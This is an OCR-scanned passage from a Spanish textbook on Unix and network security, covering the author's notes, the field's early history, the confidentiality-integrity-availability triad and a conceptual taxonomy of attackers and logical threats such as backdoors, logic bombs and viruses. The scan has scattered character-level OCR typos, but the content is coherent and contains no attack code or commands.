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Not as del autor 


El mundo de la seguridad informatica es demasiado amplio y complejo como para ser tratado ex- 
haustivamente en ningun trabajo, mucho menos en uno tan simple como este; aqui unicamente 
he intentado resumir una vision global de diferentes aspectos relacionados con la seguridad, espe- 
cialmente con Unix y redes de computadores (estas ultimas tan de moda hoy en dia. . . Unix por 
desgracia no tanto). Este trabajo esta casi completamente extraido de mi proyecto final de carrera, 
que estudiaba la seguridad en los sistemas Unix y la red de la Universidad Politecnica de Valencia 
(UPV), de forma que si aparece alguna referencia a ‘nuestra red’ o ‘nuestros equipos’ - aunque 
he intentado eliminar todos los ejemplos y comentarios relativos a UPV, por motivos obvios - ya 
sabemos de que se trata. A pesar de haberlo revisado bastantes veces (lo bueno de no tener vida 
social es que uno tiene mucho tiempo para leer evidentemente existiran errores y faltaran datos 
que podrian haber aparecido, por lo que agradecere cualquier sugerencia o critica (constructiva, las 
destructivas directamente a /dev/null) que se me quiera hacer. Para ponerse en contacto conmigo 
se puede utilizar la direction de correo electronico que utilizo habitualmente: toni@aiind.upv.es. 

Durante la realization de este proyecto ni se han maltratado animates ni se han utilizado pro- 
ductos Microsoft; personalmente, siempre he considerado ridfculo hablar de seguridad en Unix - 
incluso de seguridad en general - y hacerlo utilizando productos de una compania que tantas veces 
ha demostrado su desinteres por la tecnologia frente a su interes por el marketing. El trabajo entero 
ha sido creado sobre diversos clones de Unix (principalmente Solaris y Linux, y en menor medida 
HP-UX, BSD/OS, IRIX e incluso Minix). El texto ha sido escrito integramente con vi (vi es EL 
editor, el resto de editores no son vi ;-) y compuesto con UTj^X, de Leslie Lamport; realmente, 
algunos fragmentos han sido extrafdos de documentos que hice hace tiempo con troff (si, troff), 
de Joe Ossanna y Brian Kernighan, transformados a DTgX mediante tr2tex, de Kamal Al-Yahya, 
y retocados con algo de paciencia. Para las figuras simples he utilizado el lenguaje PIC, tambien de 
Brian Kernighan, y para las que son mas complejas xfig. La captura de alguna pantalla se ha he- 
cho con xwd y GIMP, y el retoque y transformation de imagenes con este ultimo junto a xv y xpaint. 

Quiero agradecer desde aquf la elaboration desinteresada de algunas personas que han hecho 
posible este trabajo (mas concretamente, que hicieron posible mi proyecto final de carrera): Pe- 
dro Lopez (Departamento de Informatica de Sistemas y Computadores, UPV), Jon Ander Gomez 
(Departamento de Sistemas Informaticos y Computation, UPV), Vicent Benet (Centro de Calculo, 
UPV), Jose Manuel Pasamar (Centro de Calculo, UPV) y Albert Ortiz (Universitat Politecnica de 
Catalunya). Y por supuesto a mi director, Ismael Ripoll (Departamento de Informatica de Sistemas 
y Computadores, UPV). 

Tras publicar la version 1.0 de este trabajo, algunos de los primeros comentarios que se me han 
hecho trataban sobre los posibles problemas legales derivados de la falta de una licencia para el 
documento; desconozco hasta que punto esos problemas son reales, pero de cualquier forma para 
tratar de evitarlos he decidido adoptar la Open Publication License como formato de licencia bajo 
la que distribuir mi trabajo, al menos de forma temporal. Eso basicamente implica (en Castellano 
piano) que puedes imprimir el documento, leerlo, fotocopiarlo, regalarlo o similares, pero no ven- 
derlo; este trabajo es gratuito y pretendo que lo siga siendo. Si alguien lo encuentra litil, que me 
apoye moralmente con un e-mail :), y si alguien lo encuentra muy util (lo dudo) que destine el 

xiii 
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NOTAS DEL AUTOR 


dinero que crea que pagaria por esto a cosas mas utiles. ^Sabias que cada minuto mueren de hambre 
aproximadamente doce niiios en el tercer mundo? En el tiempo que te puede costar leer estas notas 
con un mi'nimo de interes habran muerto unos veinticinco; mientras que nosotros nos preocupamos 
intentando proteger nuestros sistemas, hay millones de personas que no pueden perder el tiempo 
en esas cosas: estan demasiado ocupadas intentando sobrevivir. 

Ah, por ultimo, seria imperdonable no dar las gracias a la gente que ha leido este trabajo y me ha 
informado de erratas que habfa en el; he intentado corregir todos los fallos encontrados, pero aun 
habra errores, por lo que repito lo que decia al principio: todos los comentarios constructivos son 
siempre bienvenidos. Debo agradecer especialmente a David Cerezo el interes que ha demostrado 
en este documento, asi como todas las observaciones que sobre el mismo me ha hecho llegar. 


TODO 

Las principals modificaciones en las que estoy trabajando consisten en la ampliacion de algunos 
capitulos (por ejemplo, el de politicas de seguridad o el de criptografia) . Tambien intento crear 
un capitulo dedicado a los sistemas de detection de intrusos, otro a las redes privadas virtuales, y 
ademas introducir la seguridad de mecanismos como DNS, NIS, RPC o NFS. Por supuesto, cual- 
quier consejo o ayuda es bienvenida ;-) 


HISTORY 

Version 1.0 (Julio TO): Documento inicial. 

Version 1.1 (Agosto'OO): Pequehas correcciones e inclusion de la Open Publication License. 
Version 1.2 (Septiembre TO): Mas correcciones. Ampliacion del capitulo dedicado a servicios de 
red. 



Capitulo 1 


Introduccion y conceptos previos 


1.1 Introduccion 

Hasta finales de 1988 muy poca gente tomaba en serio el tema de la seguridad en redes de computa- 
dores de proposito general. Mientras que por una parte Internet iba creciendo exponencialmente con 
redes importantes que se adherfan a ella, como bitnet o HEPNET, por otra el auge de la informatica 
de consumo (hasta la decada de los ochenta muy poca gente se podia permitir un orclenador y un 
modem en casa) unido a factores menos tecnicos (como la pelfcula Juegos de Guerra , de 1983) iba 
produciendo un aumento espectacular en el numero de piratas informaticos. 

Sin embargo, el 22 de noviembre de 1988 Robert T. Morris protagonizo el primer gran inciden- 
te de la seguridad informatica: uno de sus programas se convirtio en el famoso worm o gusano de 
Internet. Miles de ordenadores conectados a la red se vieron inutilizados durante dias, y las perdidas 
se estiman en millones de dolares. Desde ese momento el tema de la seguridad en sistemas operati- 
ves y redes ha sido un factor a tener muy en cuenta por cualquier responsable o administrador de 
sistemas informaticos. Poco despues de este incidente, y a la vista de los potenciales peligros que 
podia entranar un fallo o un ataque a los sistemas informaticos estadounidenses (en general, a los 
sistemas de cualquier pais) la agenda darpa ( Defense Advanced Research Projects Agency) creo el 
CERT ( Computer Emergency Response Team), un grupo formado en su mayor parte por voluntaries 
cualificados de la comunidad informatica, cuyo objetivo principal es facilitar una respuesta rapida 
a los problemas de seguridad que afecten a hosts de Internet ([Den90]). 

Han pasado mas de diez ahos desde la creation del primer CERT, y cada dia se hace patente la 
preocupacion por los temas relativos a la seguridad en la red y sus equipos, y tambien se hace 
patente la necesidad de esta seguridad. Los piratas de antaho casi han desaparecido, clando paso a 
nuevas generaciones de intrusos que forman grupos como Chaos Computer Club o Legion of Doom, 
organizan encuentros como el espahol Iberhack, y editan revistas o zines electronicos (2600: The 
Hacker’s Quartely o Phrack son quizas las mas conocidas, pero no las unicas). Todo esto con un 
objetivo principal: compartir conocimientos. Si hace unos ahos cualquiera que quisiera adentrarse 
en el mundo underground casi no tenia mas remedio que conectar a alguna BBS donde se tratara 
el tema, generalmente con una cantidad de information muy limitada, hoy en dia tiene a su dis- 
position gigabytes de information electronica publicada en Internet; cualquier aprendiz de pirata 
puede conectarse a un servidor web, descargar un par de programas y ejecutarlos contra un servidor 
desprotegido... con un poco de (mala) suerte, esa misma persona puede conseguir un control total 
sobre un servidor Unix de varios millones de pesetas, probablemente desde su PC con Windows 98 
y sin saber nada sobre Unix. De la misma forma que en su dia Juegos de Guerra creo una nueva 
generation de piratas, en la segunda mitad de los noventa peliculas como The Net, Hackers o Los 
Corsarios del Chip han creado otra generation, en general mucho menos peligrosa que la anterior, 
pero cuanto menos, preocupante: aunque sin grandes conocimientos tecnicos, tienen a su dispo- 
sition multitud de programas y documentos sobre seguridad (algo que los piratas de los ochenta 
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apenas podfan imaginar), ademas de ordenadores potentes y conexiones a Internet baratas. Por si 
esto fuera poco, se ven envalentonados a traves de sistemas de conversation como el IRC ( Internet 
Relay Chat), donde en canales como #hack o #hackers presumen de sus logros ante sus colegas. 


1.2 Justificacion y objetivos 

A la vista de lo comentado en el primer punto, parece claro que la seguridad de los equipos Unix 
ha de ser algo a considerar en cualquier red. Diariamente por cualquiera de ellas circulan todo tipo 
de datos, entre ellos muchos que se podrian catalogar como confidenciales (nominas, expedientes, 
presupuestos. . . ) o al menos como privados (correo electronico, proyectos de investigation, articulos 
a punto de ser publicados. . . Independientemente de la etiqueta que cada usuario de la red quiera 
colgarle a sus datos, parece claro que un fallo de seguridad de un equipo Unix o de la propia red 
no beneficia a nadie, y mucho menos a la imagen de nuestra organizacion. Y ya no se trata simple- 
mente de una cuestion de imagen: segun el Computer Security Institute , en su encuesta de 1998, las 
perdidas economicas ocasionadas por delitos relacionados con nuevas tecnologias (principalmente 
accesos internos no autorizados) solo en Estados Unidos ascienden anualmente a mas 20.000 millo- 
nes de pesetas, cifra que cada aho se incrementa en mas del 35%; los delitos informaticos en general 
aumentan tambien de forma espectacular aho tras aho, alcanzando incluso cotas del 800% ([Caj82]). 

A lo largo de este trabajo se va a intentar hacer un repaso de los puntos habituales referentes 
a seguridad en Unix y redes de computadores (problemas, ataques, defensas. . . ), aplicando el estu- 
dio a entornos con requisitos de seguridad medios (universidades, empresas, proveedores de acceso a 
Internet. . . ); de esta forma se ofrecera una perspectiva general de la seguridad en entornos Unix, el 
funcionamiento de sus mecanismos, y su correcta utilization. Tambien se hablara, en menor medi- 
da, sobre temas menos tecnicos pero que tambien afectan directamente a la seguridad informatica, 
como puedan ser el problema del personal o la legislation vigente. 

El objetivo final de este proyecto serfa marcar unas pautas para conseguir un nivel de seguri- 
dad aceptable en los sistemas Unix conectados en cualquier red, entendiendo por ‘aceptable’ un 
nivel de protection suficiente para que la mayorfa de potenciales intrusos interesados en los equipos 
de nuestra organizacion fracasara ante un ataque contra los mismos. Obviamente, es imposible 
garantizar una plena seguridad ante cualquier atacante: seguramente un pirata experimentado, con 
el tiempo suficiente, pagado, o simplemente muy interesado en uno de nuestros equipos, no tendrfa 
muchos problemas en acceder a el. Este hecho, aunque preocupante, es casi inevitable; lo evitable 
es que cualquier persona sea capaz de atacar con exito un equipo simplemente por haber visto una 
pelfcula, descargado un par de paginas web y ejecutado un programa que ni ha hecho ni entiende. 

Por supuesto, este proyecto no pretende ser en ningun momento una ayuda para la gente que este 
interesada en atacar maquinas Unix o subredes completas, ni tampoco una invitation a hacerlo. 
Aunque por su naturaleza la informacion aquf presentada puede ser utilizada para danar sistemas 
informaticos (como cualquier informacion sobre seguridad informatica) , no es ese su proposito sino, 
como hemos dicho, incrementar la seguridad de los sistemas Unix y las redes en las que estos se 
ubican. Por tanto va a intentar estar escrito de forma que no se pueda utilizar facilmente como 
una ‘receta de cocina ’ para crackers ; si alguien quiere un documento sobre como atacar sistemas, 
puede dejar de leer este trabajo y buscar en Internet informacion sobre ese tema. Conseguir rom- 
per la seguridad de un sistema de forma no autorizada es, en la mayorfa de los casos, un sfmbolo 
de inmadurez, y por supuesto ni denota inteligencia ni unos excesivos conocimientos: si alguien 
se considera superior por acceder ilegalmente a una maquina utilizando un programa que ni ha 
hecho ni es capaz de entender, que revise sus principios, y si tras hacerlo aun piensa lo mismo, que 
dedique su inteligencia y sus conocimientos a tareas que ayuden a incrementar la seguridad, como 
la construction de sistemas de autenticacion fiables y baratos o el diseho de nuevos criptosistemas 
seguros. Eso es seguridad informatica, y no lo que habitualmente se nos quiere hacer creer: la 
seguridad informatica no consiste en conocerse todos los bugs de un sistema operativo, con sus 
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correspondientes exploits ni en jugar a superjakers en canales de IRC. Lamentablemente, este es el 
panorama de la seguridad mas visible en Espana en la actualidad; esperemos que algun dia cambie. 


1.3 ^Que es seguridad ? 

Podemos entender como seguridad una caracteristica de cualquier sistema (informatico o no) que 
nos indica que ese sistema esta libre de todo peligro, dano o riesgo, y que es, en cierta manera, 
infalible. Como esta caracteristica, particularizando para el caso de sistemas operativos o redes de 
computadores, es muy dificil de conseguir (segun la mayoria de expertos, imposible), se suaviza 
la definicion de seguridad y se pasa a hablar de fiabilidad (probabilidad de que un sistema se 
comporte tal y como se espera de el) mas que de seguridad ; por tanto, se habla de sistemas fiables 
en lugar de hacerlo de sistemas seguros. 

A grandes rasgos se entiende que mantener un sistema seguro (o fiable) consiste basicamente en 
garantizar tres aspectos ([PH97]): confidencialidad, integridad y disponibilidad. Algunos estudios 
([Lap91],[01o92]. . . ) integran la seguridad dentro de una propiedad mas general de los sistemas, 
la confiabilidad, entendida como el nivel de calidad del servicio ofrecido. Consideran la dispo- 
nibilidad como un aspecto al mismo nivel que la seguridad y no como parte de ella, por lo que 
dividen esta ultima en solo las dos facetas restantes, confidencialidad e integridad. En este trabajo 
no seguiremos esa corriente por considerarla minoritaria. 

iQue implica cada uno de los tres aspectos de los que hablamos? La confidencialidad nos di- 
ce que los objetos de un sistema han de ser accedidos unicamente por elementos autorizados a 
ello, y que esos elementos autorizados no van a convertir esa informacion en disponible para otras 
entidades; la integridad significa que los objetos solo pueden ser modificados 1 por elementos au- 
torizados, y de una manera controlada, y la disponibilidad indica que los objetos del sistema 
tienen que permanecer accesibles a elementos autorizados; es el contrario de la negacion de ser- 
vicio. Generalmente tienen que existir los tres aspectos descritos para que haya seguridad: un 
sistema Unix puede conseguir confidencialidad para un determinado fichero haciendo que ningun 
usuario (ni siquiera el root) pueda leerlo, pero este mecanismo no proporciona disponibilidad alguna. 

Dependiendo del entorno en que un sistema Unix trabaje, a sus responsables les interesara dar 
prioridad a un cierto aspecto de la seguridad. Por ejemplo, en un sistema militar se antepondra la 
confidencialidad de los datos almacenados o transmitidos sobre su disponibilidad: seguramente, es 
preferible que alguien borre informacion confidencial (que se poclrfa recuperar despues desde una 
cinta de backup) a que ese mismo atacante pueda leerla, o a que esa informacion este disponible en 
un instante dado para los usuarios autorizados. En cambio, en un servidor NFS de un departamento 
se premiara la disponibilidad frente a la confidencialidad: importa poco que un atacante lea una 
unidad, pero que esa misma unidad no sea lefda por usuarios autorizados va a suponer una perdida 
de tiempo y dinero. En un entorno bancario, la faceta que mas ha de preocupar a los responsables 
del sistema es la integridad de los datos, frente a su disponibilidad o su confidencialidad: es menos 
grave 2 que un usuario consiga leer el saldo de otro que el hecho de que ese usuario pueda modificarlo. 

1.4 ^Que queremos proteger? 

Los tres elementos principals a proteger en cualquier sistema informatico son el software, el hard- 
ware y los datos. Por hardware entendemos el conjunto formado por todos los elementos ffsicos de 
un sistema informatico, como CPUs, terminales, cableado, medios de almacenamiento secundario 
(cintas, CD-ROMs, diskettes. . . ) o tarjetas de red. Por software entendemos el conjunto de pro- 
gramas logicos que hacen funcional al hardware, tanto sistemas operativos como aplicaciones, y por 
datos el conjunto de informacion logica que manejan el software y el hardware, como por ejemplo 


1 Por modificar entendemos escribir, cambiar, cambiar el estado, borrar y crear. 
2 Aunque por supuesto no es en absoluto recomendable. 
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paquetes que circulan por un cable cle red o entradas de una base de datos. Aunque generalmente 
en las auditorfas de seguridad se habla de un cuarto elemento a proteger, los fungibles (elementos 
que se gastan o desgastan con el uso contmuo, como papel de impresora, toners, cintas magneticas, 
diskettes . . . ), aquf no consideraremos la seguridad de estos elementos por ser externos al sistema 
Unix. 

Habitualmente los datos constituyen el principal elemento de los tres a proteger, ya que es el 
mas amenazado y seguramente el mas dificil de recuperar 3 : con toda seguridad una maquina Unix 
esta ubicada en un lugar de acceso fisico restringido, o al menos controlado, y ademas en caso de 
perdida de una aplicacion (o un programa de sistema, o el propio nucleo de Unix) este software se 
puede restaurar sin problemas desde su medio original (por ejemplo, el CD-ROM con el sistema 
operativo que se utilizo para su instalacion). Sin embargo, en caso de perdida de una base de datos 
o de un proyecto de un usuario, no tenemos un medio ‘original’ desde el que restaurar: hemos 
de pasar obligatoriamente por un sistema de copias de seguridad, y a menos que la politica de co- 
pias sea muy estricta, es dificil devolver los datos al estado en que se encontraban antes de la perdida. 

Contra cualquiera de los tres elementos descritos anteriormente (pero principalmente sobre los 
datos) se pueden realizar multitud de ataques o, dicho de otra forma, estan expuestos a diferentes 
amenazas. Generalmente, la taxonomia mas elemental de estas amenazas las divide en cuatro gran- 
des grupos: interrupcion, intercept acion, modificacion y fabricacion. Un ataque se clasifica como 
interrupcion si hace que un objeto del sistema se pierda, quede inutilizable o no disponible. Se 
tratara de una interceptacion si un elemento no autorizado consigue un acceso a un determinado 
objeto del sistema, y de una modificacion si ademas de conseguir el acceso consigue modificar el 
objeto; algunos autores ([01o92]) consideran un caso especial de la modificacion: la destruccion, 
entendiendola como una modificacion que inutiliza al objeto afectado. Por ultimo, se dice que un 
ataque es una fabricacion si se trata de una modificacion destinada a conseguir un objeto similar 
al atacado de forma que sea dificil distinguir entre el objeto original y el ‘fabricado’. En la figura 
1.1 se muestran estos tipos de ataque de una forma grafica. 


1.5 ^De que nos queremos proteger? 


En la gran mayorfa de publicaciones relativas a la seguridad informatica en general, y especialmente 
en las relativas a seguridad en Unix, tarde o temprano se intenta clasificar en grupos a los posibles 
elementos que pueden atacar nuestro sistema. Con frecuencia, especialmente en las obras menos 
tecnicas y mas orientadas a otros aspectos de la seguridad ([ISV95], [Mey89]. . . ), se suele identificar 
a los atacantes unicamente como personas; esto tiene sentido si hablamos por ejemplo de respon- 
sabilidades por un delito informatico. Pero en este trabajo es preferible hablar de ‘elementos’ y no 
de personas: aunque a veces lo olvidemos, nuestro sistema puede verse perjudicado por multiples 
entidades aparte de humanos, como por ejemplo programas, catastrofes naturales o, por que no, 
fuerzas extraterrestres; si un usuario pierde un trabajo importante a causa de un ataque, poco le 
importara que haya sido un intruso, un gusano, un simple error del administrador, o un alien que 
haya abducido un disco duro. . . 

A continuation se presenta una relation de los elementos que potencialmente pueden amenazar 
a nuestro sistema. No pretende ser exhaustiva, ni por supuesto una taxonomia formal (para este 
tipo de estudios, se recomienda consultar [LBMC94] o [AKS96]); simplemente trata de proporcionar 
una idea acerca de que o quien amenaza un sistema Unix. A lo largo de este proyecto se ahondara 
en aspectos de algunos de los elementos presentados aquf. 


3 Quizas no el mas caro, pero si el mas dificil. 
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Figura 1.1: Flujo normal de information entre emisor y receptor y posibles amenazas: (a) inter- 
ruption, (b) interceptacion, (c) modification y (d) fabrication. 


1.5.1 Personas 

No podernos enganarnos: la mayorfa de ataques a nuestro sistema van a provenir en ultima ins- 
tancia de personas que, intencionada o inintencionadamente, pueden causarnos enormes perdidas. 
Generalmente se tratara de piratas que intentan conseguir el maximo nivel de privilegio posible 
aprovechando alguno (o algunos) de los riesgos logicos de los que hablaremos a continuation, es- 
pecialmente agujeros del software. Pero con demasiada frecuencia se suele olvidar que los piratas 
‘clasicos’ no son los unicos que amenazan nuestros equipos: es especialmente preocupante que 
mientras que hoy en dfa cualquier administrador minimamente preocupado por la seguridad va a 
conseguir un sistema relativamente fiable de una forma logica (permaneciendo atento a vulnerabili- 
dades de su software, restringiendo servicios, utilizando cifrado de datos. . . ), pocos administradores 
tienen en cuenta factores como la ingenieria social o el basureo a la hora de disenar una polftica de 
seguridad. 

Aqui se describen brevemente los diferentes tipos de personas que de una u otra forma pueden 
constituir un riesgo para nuestros sistemas; generalmente se dividen en dos grandes grupos: los 
atacantes pasivos, aquellos que fisgonean por el sistema pero no lo modifican -o destruyen-, y los 
activos, aquellos que daiian el objetivo atacado, o lo modifican en su favor. Generalmente los 
curiosos y los crackers realizan ataques pasivos (que se pueden convertir en activos), mientras que 
los terroristas y ex-empleados realizan ataques activos puros; los intrusos remunerados suelen ser 
atacantes pasivos si nuestra red o equipo no es su objetivo, y activos en caso contrario, y el personal 
realiza ambos tipos indistint amente, dependiendo de la situation concreta. 


• Personal 

Las amenazas a la seguridad de un sistema provenientes del personal de la propia organization 
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rara vez son tomadas en cuenta; se presupone un entorno de confianza donde a veces no existe, 
por lo que se pasa por alto el hecho de que casi cualquier persona de la organization, incluso el 
personal ajeno a la infraestructura informatica (secretariado, personal de seguridad, personal 
de limpieza y mantenimiento. . . ) puede comprometer la seguridad de los equipos. 

Aunque los ataques pueden ser intencionados (en cuyo caso sus efectos son extremadamente 
daninos, recordemos que nadie mejor que el propio personal de la organizacion conoce mejor 
los sistemas. . . y sus debilidades), lo normal es que mas que de ataques se trate de accidentes 
causados por un error o por desconocimiento 4 de las normas basicas de seguridad: un empleado 
de mantenimiento que corta el suministro electrico para hacer una reparation puede llegar a 
ser tan peligroso como el mas experto de los administradores que se equivoca al teclear una 
orden y borra todos los sistemas de ficheros; y en el primer caso, el ‘atacante’ ni siquiera ha 
de tener acceso logico (jni ffsico!) a los equipos, ni conocer nada sobre seguridad en Unix. 
Hemos de recordar siempre que clecir ‘No lo hice a proposito ’ no va a servir para recuperar 
datos perdidos ni para restaurar un hardware danado o robado. 

• Ex-empleados 

Otro gran grupo de personas potencialmente interesadas en atacar nuestro sistema son los 
antiguos empleados del mismo, especialmente los que no abandonaron el entorno por voluntad 
propia (y en el caso de redes de empresas, los que pasaron a la competencia). Generalmente, 
se trata de personas descontentas con la organizacion que pueden aprovechar debilidades de 
un sistema que conocen perfectamente para clanarlo como venganza por algiin hecho que no 
consideran justo: amparados en excusas como ‘No me han pagado lo que me dehen’ o ‘Es una 
gran universidad, se lo pueden permitir’ pueden insertar troyanos, bombas logicas, virus. . . o 
simplemente conectarse al sistema como si aun trabajaran para la organizacion (muchas veces 
se mantienen las cuentas abiertas incluso meses despues de abandonar la universidad o empre- 
sa), conseguir el privilegio necesario, y daharlo de la forma que deseen, incluso chantajeando 
a sus ex-compaheros o ex-jefes. 

• Curiosos 

Junto con los crackers, los curiosos son los atacantes mas habituales de sistemas Unix en 
redes de I+D. Recordemos que los equipos estan trabajando en entornos donde se forma 
a futures profesionales de la informatica y las telecomunicaciones (gente que a priori tiene 
interes por las nuevas tecnologias) , y recordemos tambien que las personas suelen ser curiosas 
por naturaleza; esta combination produce una avalancha de estudiantes o personal intentando 
conseguir mayor privilegio del que tienen o intentando acceder a sistemas a los que ohcialmente 
no tienen acceso. Y en la mayoria de ocasiones esto se hace simplemente para leer el correo 
de un amigo, enterarse de cuanto cobra un compahero, copiar un trabajo o comprobar que es 
posible romper la seguridad de un sistema concreto. Aunque en la mayoria de situaciones se 
trata de ataques no destructives (a exception del borrado de huellas para evitar la detection), 
parece claro que no benefician en absoluto al entorno de fiabilidad que podamos generar en 
un determinado sistema. 

• Crackers 

Los entornos de seguridad media son un objetivo tipico de los intrusos, ya sea para fisgonear, 
para utilizarlas como enlace hacia otras redes o simplemente por diversion. Por un lado, 
son redes generalmente abiertas, y la seguridad no es un factor tenido muy en cuenta en 
ellas; por otro, el gran numero y variedad de sistemas Unix conectados a estas redes provoca, 
casi por simple probabilidad, que al menos algunos de sus equipos (cuando no la mayoria) 
sean vulnerables a problemas conocidos de antemano. De esta forma un atacante solo ha 
de utilizar un escaner de seguridad contra el dominio completo y luego atacar mediante un 
simple exploit los equipos que presentan vulnerabilidades; esto convierte a las redes de I+D, 
a las de empresas, o a las de ISPs en un objetivo facil y apetecible para piratas con cualquier 
nivel de conocimientos, desde los mas novatos (y a veces mas peligrosos) hasta los expertos, 
que pueden utilizar toda la red para probar nuevos ataques o como nodo intermedio en un 

4 0 inexistencia. 
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ataque a otros organismos, con el consiguiente deterioro de imagen (y a veces de presupuesto) 
que supone para una universidad ser, sin desearlo, un apoyo a los piratas que atacan sistemas 
teoricamente mas protegidos, como los militares. 

• Terroristas 

Por ‘terroristas’ no debemos entender simplemente a los que se dedican a poner bombas o 
quemar autobuses; bajo esta definition se engloba a cualquier persona que ataca al sistema 
simplemente por causar algiin tipo de dano en el. Por ejemplo, alguien puede intentar borrar 
las bases de datos de un partido politico enemigo o destruir los sistemas de ficheros de un 
servidor que alberga paginas web de algiin grupo religioso; en el caso de redes de I+D, tfpicos 
ataques son la destruction de sistemas de practicas o la modification de paginas web de algiin 
clepartamento o de ciertos profesores, generalmente por parte de alumnos descontentos. 

• Intrusos remunerados 

Este es el grupo de atacantes de un sistema mas peligroso, aunque por fortuna el menos 
habitual en redes normales; suele afectar mas a las grandes - muy grandes - empresas o a 
organismos de defensa. Se trata de piratas con gran experiencia en problemas de seguridad y 
un amplio conocimiento del sistema, que son pagados por una tercera parte 5 generalmente para 
robar secretos (el nuevo diseno de un procesador, una base de datos de clientes, information 
confidential sobre las posiciones de satelites espfa. . . ) o simplemente para danar la imagen 
de la entidad afectada. Esta tercera parte suele ser una empresa de la competencia o un 
organismo de inteligencia, es decir, una organization que puede permitirse un gran gasto en 
el ataque; de ahf su peligrosidad: se suele pagar bien a los mejores piratas, y por si esto fuera 
poco los atacantes van a tener todos los medios necesarios a su alcance. 

Aunque como hemos dicho los intrusos remunerados son los menos comunes en la mayorfa de 
situaciones, en ciertas circunstancias pueden aprovechar nuestras redes como plataforma para 
atacar otros organismos; una excelente lectura sobre esta situation es [Sto89], en la que el 
experto en seguridad Cliff Stoll describe como piratas pagados por el KGB sovietico utilizaron 
redes y sistemas Unix cledicados a I+D para acceder a organismos de defensa e inteligencia 
estadounidenses. 

1.5.2 Amenazas logicas 

Bajo la etiqueta de ‘amenazas logicas’ encontramos todo tipo de programas que de una forma u 
otra pueden danar a nuestro sistema, creados de forma intencionada para ello ( software malicioso, 
tambien conocido como malware ) o simplemente por error ( bugs o agujeros). Una excelente lectura 
que estudia las definiciones de algunas de estas amenazas y su implication en el sistema Unix se 
presenta en [GS96]; otra buena description, pero a un nivel mas general, se puede encontrar en 
[Par81], 

• Software incorrecto 

Las amenazas mas habituales a un sistema Unix provienen de errores cometidos de forma 
involuntaria por los programadores de sistemas o de aplicaciones. Una situation no contem- 
plada a la hora de disenar el sistema de red del kernel o un error accediendo a memoria en un 
fichero setuidado pueden comprometer local o remotamente a Unix (o a cualquier otro sistema 
operativo) . 

A estos errores de programacion se les denomina bugs, y a los programas utilizados para apro- 
vechar uno de estos fallos y atacar al sistema, exploits. Como hemos dicho, representan la 
amenaza mas comun contra Unix, ya que cualquiera puede conseguir un exploit y utilizarlo 
contra nuestra maquina sin ni siquiera saber como funciona y sin unos conocimientos mfnimos 
de Unix; incluso hay exploits que danan seriamente la integridad de un sistema (negaciones de 
servicio o incluso acceso root remoto) y estan preparados para ser utilizados desde MS-DOS, 
con lo que cualquier pirata novato (comunmente, se les denomina Script Kiddies) puede uti- 
lizarlos contra un servidor y conseguir un control total de una maquina de varios millones de 

5 Si los pagara la organizacion propietaria de los equipos hablarfamos de grupos Tigre. 
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pesetas desde su PC sin saber nada del sistema atacado; incluso hay situaciones en las que se 
analizan los logs de estos ataques y se descubre que el pirata incluso intenta ejecutar ordenes 
de MS-DOS. 

Herramientas de seguridad 

Cualquier herramienta de seguridad representa un arma de doble filo: de la misma forma 
que un administrador las utiliza para detectar y solucionar fallos en sus sistemas o en la 
subred completa, un potencial intruso las puede utilizar para detectar esos mismos fallos y 
aprovecharlos para atacar los equipos. Herramientas como NESSUS, SAINT o SATAN pasan 
de ser utiles a ser peligrosas cuando las utilizan crackers que buscan informacion sobre las 
vulnerabilidades de un host o de una red completa. 

La conveniencia de disenar y clistribuir libremente herramientas que puedan facilitar un ataque 
es un tema peliagudo; incluso expertos reconocidos como Alec Muffet (autor del adivinador de 
contrasenas Crack) han recibido enormes crfticas por disenar determinadas herramientas de 
seguridad para Unix. Tras numerosos debates sobre el tema, ha quedado bastante claro que no 
se puede basar la seguridad de un sistema en el supuesto desconocimiento de sus problemas por 
parte de los atacantes: esta politica, denominada Security through obscurity , se ha demostrado 
inservible en multiples ocasiones. Si como administradores no utilizamos herramientas de 
seguridad que muestren las debilidades de nuestros sistemas (para corregirlas) , tenemos que 
estar seguro que un atacante no va a dudar en utilizar tales herramientas (para explotar las 
debilidades encontradas) ; por tanto, hemos de agradecer a los disehadores de tales programas 
el esfuerzo que han realizado (y nos han ahorrado) en pro de sistemas mas seguros. 

Puertas traseras 

Durante el desarrollo de aplicaciones grandes o de sistemas operativos es habitual entre los 
programadores insertar ‘atajos’ en los sistemas habituales de autenticacion del programa o 
del nucleo que se esta disenando. A estos atajos se les denomina puertas traseras, y con 
ellos se consigue mayor velocidad a la hora de detectar y clepurar fallos: por ejemplo, los 
disehadores de un software de gestion de bases de datos en el que para acceder a una tabla 
se necesiten cuatro claves diferentes de diez caracteres cada una pueden insertar una rutina 
para conseguir ese acceso mediante una linica clave ‘especial’, con el objetivo de perder menos 
tiempo al depurar el sistema. 

Algunos programadores pueden dejar estos atajos en las versiones clefinitivas de su software 
para facilitar un mantenimiento posterior, para garantizar su propio acceso, o simplemente 
por descuido; la cuestion es que si un atacante descubre una de estas puertas traseras (no 
nos importa el metodo que utilice para hacerlo) va a tener un acceso global a datos que no 
deberia poder leer, lo que obviamente supone un grave peligro para la integridad de nuestro 
sistema. 

Bombas logicas 

Las bombas logicas son partes de codigo de ciertos programas que permanecen sin realizar 
ninguna funcion hasta que son activadas; en ese punto, la funcion que realizan no es la original 
del programa, sino que generalmente se trata de una action perjudicial. 

Los activadores mas comunes de estas bombas logicas pueden ser la ausencia o presencia de 
ciertos ficheros, la ejecucion bajo un determinado UID o la llegada de una fecha concreta; 
cuando la bomba se activa va a poder realizar cualquier tarea que pueda realizar la persona 
que ejecuta el programa: si las activa el root, o el programa que contiene la bomba esta 
setuidado a su nombre, los efectos obviamente pueden ser fatales. 

Canales cubiertos 

Segun la definition de [B + 85] y [B+88], los canales cubiertos (o canales ocultos, segiin otras 
traducciones) son canales de comunicacion que permiten a un proceso transferir informacion de 
forma que viole la politica de seguridad del sistema; dicho de otra forma, un proceso transmite 
informacion a otros (locales o remotos) que no estan autorizados a leer dicha informacion. 
Los canales cubiertos no son una amenaza demasiado habitual en redes de I+D, ya que suele 
ser mucho mas facil para un atacante aprovechar cualquier otro mecanismo de ataque logico; 
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sin embargo, es posible su existencia, y en este caso su deteccion suele ser dificil: algo tan 
simple como el puerto finger abierto en una maquina puede ser utilizado a modo de covert 
channel por un pirata con algo de experiencia. 

Virus 

Un virus es una secuencia de codigo que se inserta en un fichero ejecutable (denominado 
huesped ), de forma que cuando el archivo se ejecuta, el virus tambien lo hace, insertandose a 
si mismo en otros programas. 

Todo el mundo conoce los efectos de los virus en algunos sistemas operativos de sobremesa; 
